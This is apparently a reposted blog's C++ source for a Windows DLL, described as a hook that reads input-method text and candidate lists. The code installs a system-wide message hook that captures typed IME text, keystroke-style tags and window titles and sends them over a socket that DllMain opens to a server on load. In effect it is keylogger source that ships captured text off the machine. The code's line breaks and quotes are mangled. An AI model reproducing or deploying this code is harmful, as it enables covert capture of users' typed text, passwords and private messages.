#include "stdafx.h"
#include "windows.h"
#include "imm.h"
#include "stdio.h"
#include <tchar.h>
#include
<wchar.h>
#include <strsafe.h>
#include <string>
#include "tool.h"
#include <WinSock2.h>
#include
<msctf.h>
#include <Ctffunc.h>
#include
"ClientSocket.h"
#pragma comment(lib, "imm32.lib")
#define HOOK_API __declspec(dllexport)
#pragma data_seg(".shared")
FILE * glpFile =
NULL;
HHOOK glHook = NULL; //!钩子句柄
HINSTANCE
glhModule = NULL; //!DLL实例
HWND g_wnd =
NULL;//监控窗体句柄
//BYTE glKeyMap[KEYMAP_SIZE] = {0};
//!存放键盘映射表,全局共享
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE
g_hHinstance = NULL; //程序句柄
stds::tool* ptool = NULL;
#pragma
data_seg()
#pragma comment(linker, " /SECTION:.shared,RWS")
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd;
//当前窗口句柄,必须使全局的
ClientSocket* sock = NULL;
//字符串临时缓存长度
#ifndef _MAX_BUF_
#define _MAX_BUF_ 256
#endif
wchar_t title[256]; //获得窗口名字
wchar_t *ftemp;
//begin/end 写到文件里面
wchar_t temptitle[256]=TEXT("<<标题:");
//<<标题:窗口名字>>
wchar_t t[2]={0,0}; //捕获单个字母
extern "C" _declspec(dllexport) void SetWindowHandle(HWND wnd) {
g_wnd =
wnd;
}
extern "C" _declspec(dllexport) HWND GetWindowHandle() {
return
g_wnd;
}
extern "C" _declspec(dllexport) void ConnectToServer() {
//if (sock ==
NULL)
// pClientSocket = new
ClientSocket();
sock->ConnectToServer();
}
HWND GetMainWindowHandle() {
HWND h = ::GetTopWindow(0 );
while
( h )
{
DWORD pid;
DWORD dwTheardId = ::GetWindowThreadProcessId(
h,&pid);
if ( pid == 0/*your process id*/ )
{
// here h is the handle to the window
break;
}
h = ::GetNextWindow( h , GW_HWNDNEXT);
}
return h;
}
void StartSocket() {
}
void EndSocket() {
}
HANDLE
m_hMapFile;
void FileMapping(TCHAR* lpstr)
{
//打开共享的文件对象。
m_hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS,
FALSE,_T("TestFileMap"));
LPTSTR lpMapAddr;
if (m_hMapFile)
{
//显示共享的文件数据。
lpMapAddr =
(LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);
// OutputDebugString(lpMapAddr);
}
else
{
//创建共享文件。
m_hMapFile = CreateFileMapping(
(HANDLE)0xFFFFFFFF,NULL,
PAGE_READWRITE,0,1024,_T("TestFileMap"));
lpMapAddr =
(LPTSTR)MapViewOfFile(m_hMapFile,FILE_MAP_ALL_ACCESS,
0,0,0);
}
//拷贝数据到共享文件里。
std::wstring strTest(lpstr);
wcscpy(lpMapAddr,strTest.c_str());
FlushViewOfFile(lpMapAddr,strTest.length()+1);
//PostMessage(
}
void Logs(TCHAR* lpstr)
{
/*FILE *fp;
errno_t ecode =
_wfopen_s(&fp,
TEXT("D:\\temp\\HookIMEW32Demo\\Debug\\Test.txt"),L"ab+");
if (fp !=
NULL)
{
fwprintf(fp, lpstr);
fclose(fp);
}*/
//TCHAR exeFullPath[MAX_PATH]={0};
//GetModuleFileName(glhModule,
exeFullPath, MAX_PATH);
//GetModuleFileName(glhModule
//std::wstring
path = get_exeute_path();
//MessageBox(NULL, exeFullPath, NULL,
NULL);
//FileMapping(lpstr);
std::wstring
s(lpstr);
sock->SendString(s);
// return;
}
void writefile(wchar_t *lpstr)
{//保存为文件
FILE* f1;
wchar_t cmd[256];
GetSystemDirectory(cmd,256);
lstrcat(cmd,TEXT("\\hooktxt.txt"));
//f1=fopen(cmd,"a+");
//errno_t ecode = _wfopen_s(&f1,
TEXT("D:\\temp\\HookIMEDemo\\Debug\\Test.txt"),L"ab+");
errno_t ecode =
_wfopen_s(&f1, cmd,L"ab+");
fwrite(lpstr,lstrlen(lpstr),1,f1);
//fwprintf(f1, lpstr);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd !=
FocusWnd)
{
ftemp=TEXT("\n---------End----------\n");
//writefile(ftemp);
Logs(ftemp);
ftemp=TEXT("\n--------begin---------\n");
//writefile(ftemp);
Logs(ftemp);
GetWindowText(FocusWnd, title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
lstrcat(temptitle,title);
lstrcat(temptitle,TEXT(">>\n"));
//writefile(temptitle);
Logs(temptitle);
}
}
//wParam Command
//lParam Data
HWND lastHwnd;
DWORD
lastTime;
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
_wsetlocale(0, L"chs");
//stds::tool _t;
PMSG pmsg
= (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch
(pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND
hWnd=pmsg->hwnd;
DWORD dwSize;
TCHAR lpstr[20];
//TCHAR szBuf[20];
if(pmsg->lParam
& GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize =
ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
//
再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC,
GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。
//writtitle(); //保存当前窗口
//writefile(lpstr);
//保存为文件
//MessageBox(NULL, lpstr, lpstr, MB_OK);
Logs(lpstr);
//LPDWORD lpDword = NULL;
//ImmGetCandidateListCount(hIMC,
lpDword);
//wsprintf(s, TEXT("%d"),
*lpDword);
//StringCchPrintf(szBuf, 20/sizeof(TCHAR), TEXT("candidate:
%d\r\n"), *lpDword);
//Logs(szBuf);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR:
//截获发向焦点窗口的键盘消息
break;
{
wchar_t
ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
//writtitle();
t[0]=ch;
//writefile(t);
Logs(t);
}
if
(ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
lstrcpy(str,TEXT("[退格]"));
break;
case
9:
lstrcpy(str,TEXT("[TAB]"));
break;
case 13:
lstrcpy(str,TEXT("[Enter]"));
break;
default:
lstrcpy(str,TEXT("n"));
}
if (lstrcmp(str,TEXT("n")))
{
//writtitle();
//writefile(str);
Logs(str);
}
}
}
break;
case
WM_IME_STARTCOMPOSITION:
break;
case
WM_IME_COMPOSITIONFULL:
break;
case
WM_IME_ENDCOMPOSITION:
break;
case WM_IME_NOTIFY:
HWND hWnd = pmsg->hwnd;
HIMC hIMC = NULL;
DWORD dwSize =
0;
char*p = NULL;
TCHAR szBuf[30];
std::string
strCL;
int nR;
memset(szBuf, 0, sizeof(TCHAR) *
30);
CANDIDATEFORM form;
//LPCANDIDATEINFO
lpCandInfo;
CANDIDATELIST candList;
LPCANDIDATELIST lp =
NULL;
//LPIMC lpImc;
////
这里只关心IMN_CHANGECANDIDATE这个消息,输入法选项的变化
//IMN_OPENCANDIDATE
IMN_CLOSECANDIDATE
if (pmsg->wParam &
IMN_CHANGECANDIDATE)
{
if (lastHwnd == pmsg->hwnd &&
lastTime == pmsg->time) {
} else {
TCHAR
title[400],title2[400];
memset(title, 0, sizeof(TCHAR) *
400);
memset(title2, 0, sizeof(TCHAR) * 400);
HWND wnd =
GetActiveWindow();
GetWindowText(wnd, title, 256); //当前窗口标题
GetWindowText(pmsg->hwnd, title2, 256);
// 获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
dwSize =
ImmGetCandidateList(hIMC, 0, NULL, 0);
if (dwSize>0)
{
p = new char[dwSize];
lp = (LPCANDIDATELIST)p;
nR = ImmGetCandidateList(hIMC, 0, lp, dwSize);
//若是取其它窗口的IMM状态,则lp->dwStyle的值为零(Unknown)。
//否则返回一,表示可以读取lp指向的数据结构!
if (nR && lp->dwCount>1)
{
int i=1;
char temp[_MAX_BUF_];
ZeroMemory(temp,sizeof(temp));
int nOffset;
while ( (i<lp->dwCount-lp->dwSelection+1) &&
(i<lp->dwPageSize+1) )
{
std::wstring
sT= (wchar_t *)(p + lp->dwOffset[lp->dwPageStart+(i-1)]);
sprintf( temp , " %d." , i);
strCL = strCL + temp;
strCL = strCL + "" + ptool->ws2s(sT);
i++;
}
if (strCL.find_first_not_of(‘ ‘) != -1)
{
strCL =strCL.substr(strCL.find_first_not_of(‘ ‘),strCL.length());
//例如“万能五笔输入法中”状态中输入字符"k",strCL变为下值
//1.中 2.口 3.员工maa 4.哎呀aka
5.只w 6.员m
}
}
delete p;
}
else
{
//OutputDebugString(L"Error: dwSize =
ImmGetCandidateList(hIMC, 0, NULL, 0);<= 0 /n");
}
const
char* s = strCL.c_str();
//stds::tool t;
std::wstring ws =
ptool->s2ws(strCL);
const wchar_t* wbuffer =
ws.c_str();
Logs((TCHAR*)wbuffer);
//MessageBox(NULL, wbuffer,
wbuffer, MB_OK);
//m_candidate = strCL;
// 通过句柄得到IMC结构
(input method context)
//lpImc = ImmLockIMC(hIMC);
//
得到候选项信息
//lpCandInfo =
(LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
//
得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) +
lpCandInfo->dwOffset[0]);
//
成功:)之后就可以做进一步的处理
//ImmGetCandidateListCount(hIMC,
&dword);
//DWORD idx = 0;
//ImmGetCandidateList(hIMC, idx,
&candList, 200);
//wsprintf(szBuf, TEXT("candidate:%d"),
candList.dwCount);
//candList.dwOffset
//StringCchPrintf(szBuf,
30/sizeof(TCHAR), TEXT("candidate: %d\r\n"),
dword);
//;
//candList.dwCount
//wchar_t* t =
(wchar_t*)candList.dwOffset;
//MessageBox(NULL, szBuf, szBuf,
MB_OK);
//MessageBox(NULL, t, t,
MB_OK);
//Logs(szBuf);
// // 通过句柄得到IMC结构 (input method
context)
// lpImc = ImmLockIMC(hIMC);
// // 得到候选项信息
//
lpCandInfo = (LPCANDIDATEINFO)ImmLockIMCC(lpImc->hCandInfo);
// //
得到输入法的候选项列表
//lpCandList = (LPCANDIDATELIST)(((LPBYTE)lpCandInfo) +
lpCandInfo->dwOffset[0]);
//lpCandList->
// //
成功:)之后就可以做进一步的处理
}
}
lastHwnd = pmsg->hwnd;
lastTime = pmsg->time;
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode,
wParam, lParam);
return(lResult);
}
//HOOK_API BOOL
InstallHook()
extern "C" HOOK_API BOOL InstallHook()
{
//MessageBox(NULL, TEXT("InstallHook"), NULL, NULL);
g_hHook =
SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
//HOOK_API BOOL UnHook()
extern "C" HOOK_API
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}
void TFSTest() {
CoInitialize(0);
HRESULT hr =
S_OK;
ITfCompartmentMgr *pCompMgr = NULL;
ITfContext
*_pContextCandidateWindow = NULL;
TfEditCookie ecTmp;
TfClientId
tfClientId;
ITfDocumentMgr *pDocumentMgr;
ITfThreadMgr*
pThreadMgr;
ITfThreadMgr2* pThreadMgr2;
hr =
CoCreateInstance(CLSID_TF_ThreadMgr,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr,
(void**)&pThreadMgr);
hr
=
CoCreateInstance(CLSID_TF_ThreadMgr,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfThreadMgr2,
(void**)&pThreadMgr);
hr
= pThreadMgr->CreateDocumentMgr(&pDocumentMgr);
if (FAILED(pDocumentMgr->CreateContext(tfClientId, 0, NULL,
&_pContextCandidateWindow, &ecTmp))) {
}
//IID_ITfCandidateListUIElement e;
//ITfCompartment
*m_pCompartment;
//CoCreateInstance(IID_ITfCompartment, &m_pCompartment,
)
//HRESULT hr;
if
(_pContextCandidateWindow->QueryInterface(IID_ITfCompartmentMgr, (void
**)&pCompMgr) == S_OK) {
}
ITfCompartment *pCompartment;
if
(pCompMgr->GetCompartment(GUID_COMPARTMENT_KEYBOARD_OPENCLOSE,
&pCompartment) == S_OK) {
}
ITfInputProcessorProfiles
*pProfiles;
hr =
CoCreateInstance(CLSID_TF_InputProcessorProfiles,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITfInputProcessorProfiles,
(LPVOID*)&pProfiles);
ITfSource *pSource;
//IUnknown p;
//hr =
p.QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
hr =
pThreadMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if
(SUCCEEDED(hr))
{
pSource->Release();
}
hr =
_pContextCandidateWindow->QueryInterface(IID_ITfSource,
(LPVOID*)&pSource);
if
(SUCCEEDED(hr))
{
pSource->Release();
}
hr =
pCompMgr->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if
(SUCCEEDED(hr))
{
pSource->Release();
}
hr =
pProfiles->QueryInterface(IID_ITfSource, (LPVOID*)&pSource);
if
(SUCCEEDED(hr))
{
pProfiles->Release();
}
if
(SUCCEEDED(hr))
{
pSource->Release();
}
/*ITfFnReconversion pREconverstion;
ITfRange
range;
ITfFnReconversion::QueryRange()
ITfCandidateList *pCandidateList
= new ITfCandidateList();
GetReconversion(&range,
&ppCandList);
//hr = m_pCompartment->QueryInterface(IID_ITfSource,
(LPVOID*)&pSource);
if (SUCCEEDED(hr))
{
hr =
pSource->AdviseSink(IID_ITfCompartmentEventSink,
(ITfCompartmentEventSink*)this,
&m_dwCookie);
pSource->Release();
}*/
}
BOOL APIENTRY DllMain( HANDLE
hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
ptool = new stds::tool();
if
(sock == NULL)
sock = new
ClientSocket();
sock->Startup();
sock->ConnectToServer();
//StartSocket();
break;
case DLL_THREAD_ATTACH:
break;
case
DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
delete ptool;
ptool =
NULL;
sock->Close();
delete
sock;
//EndSocket();
//pClientSocket->Close();
//pClientSocket
= NULL;
break;
}
return TRUE;
}
获取输入法输入内容及后选项的钩子,布布扣,bubuko.com
原文地址:http://www.cnblogs.com/yuanxiaoping_21cn_com/p/3705347.html